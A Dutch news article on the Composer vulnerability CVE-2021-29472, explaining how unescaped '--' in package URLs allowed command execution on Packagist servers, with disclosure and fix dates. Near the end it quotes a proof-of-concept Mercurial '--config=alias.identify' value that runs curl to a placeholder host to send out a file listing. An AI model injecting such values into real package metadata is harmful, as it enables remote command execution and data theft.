In de afhankelijkheidsmanager Composer is een kritieke kwetsbaarheid (CVE-2021-29472) ontdekt die het mogelijk maakt om willekeurige commando's in het systeem uit te voeren bij het verwerken van een pakket met een speciaal geformuleerde URL-waarde, die het adres voor het downloaden van bronbestanden bepaalt. Het probleem doet zich voor in de componenten GitDriver, SvnDriver en HgDriver, die worden gebruikt bij de systemen voor broncodebeheer Git, Subversion en Mercurial. De kwetsbaarheid is verholpen in de versies Composer 1.10.22 en 2.0.13.
Bijzonder wordt opgemerkt dat het probleem vooral het standaard gebruikte pakketrepository in Composer, Packagist, heeft geraakt, dat 306.000 pakketten voor ontwikkelaars in PHP omvat en maandelijks meer dan 1,4 miljard downloads afhandelt. Uit experimenten is gebleken dat als er kennis was van het probleem, aanvallers controle zouden kunnen krijgen over de infrastructuur van Packagist en inloggegevens van beheerders zouden kunnen onderscheppen of de download van pakketten naar een externe server zouden kunnen omleiden om schadelijke wijzigingen in pakketten te bezorgen voor het inbrengen van een backdoor tijdens het installeren van afhankelijkheden.
Het gevaar voor eindgebruikers is beperkt omdat de inhoud van composer.json meestal door de gebruiker zelf wordt gedefinieerd, en de links naar de bronbestanden worden verzonden bij het benaderen van externe repositories, die doorgaans betrouwbaar zijn. De belangrijkste klap is gevallen op de repository Packagist.org en de service Private Packagist, die Composer aanroepen met gegevens van gebruikers. Kwaadwillenden konden hun code op de servers van Packagist uitvoeren door een speciaal geformuleerd pakket te plaatsen.
Het team van Packagist heeft de kwetsbaarheid binnen 12 uur na melding van de kwetsbaarheid verholpen. Onderzoekers hebben de ontwikkelaars van Packagist privé op 22 april op de hoogte gesteld en dezelfde dag is het probleem verholpen. Een publieke update van Composer met de oplossing voor de kwetsbaarheid werd op 27 april gepubliceerd, en de details werden op 28 april onthuld. Een audit van de logs op de servers van Packagist heeft geen verdachte activiteit gerelateerd aan de kwetsbaarheid aangetoond.
Het probleem wordt veroorzaakt door een fout in de URL-validatiecode in het hoofd-"composer.json"-bestand en de links voor het downloaden van de bronbestanden. De fout is al aanwezig in de code sinds november 2011. Op Packagist worden speciale tussenlagen gebruikt om de code te laden zonder afhankelijk te zijn van een specifiek versiebeheersysteem, door middel van de aanroep "fromShellCommandline" met doorgegeven commandoregelargumenten. Bijvoorbeeld, voor git wordt het commando "git ls-remote --heads $URL" aangeroepen, waarbij de URL is verwerkt met de methode "ProcessExecutor::escape($url)", die potentieel gevaarlijke constructies, zoals "$(…)" of "`…`", escabeert.
De kern van het probleem is dat de methode "ProcessExecutor::escape" de reeks "--" niet escabeerde, waardoor het mogelijk was om willekeurige extra aanroepparameters in de URL op te geven. Een dergelijke escaper ontbreekt in de drivers GitDriver.php, SvnDriver.php en HgDriver.php. Bij een aanval via GitDriver.php was een probleem dat het commando "git ls-remote" geen extra argumenten na het pad ondersteunde. Een aanval op HgDriver.php was mogelijk door het doorgeven van de parameter "--config" aan de tool "hq", waarmee het uitvoeren van elke opdracht mogelijk werd door te manipuleren met de instelling "alias.identify". Voor het downloaden en uitvoeren van code via het uitvoeren van de curl-tool kon bijvoorbeeld worden opgegeven: --config=alias.identify=!curl http://exfiltration-host.tld --data "$(ls -alh)".
Door een testpakket met een dergelijke URL op Packagist te plaatsen, bevestigden onderzoekers dat er na plaatsing op hun server een HTTP-verzoek binnenkwam vanaf een van de servers Packagist in AWS, dat een lijst met bestanden in de huidige map bevatte.
Bron: opennet.ru
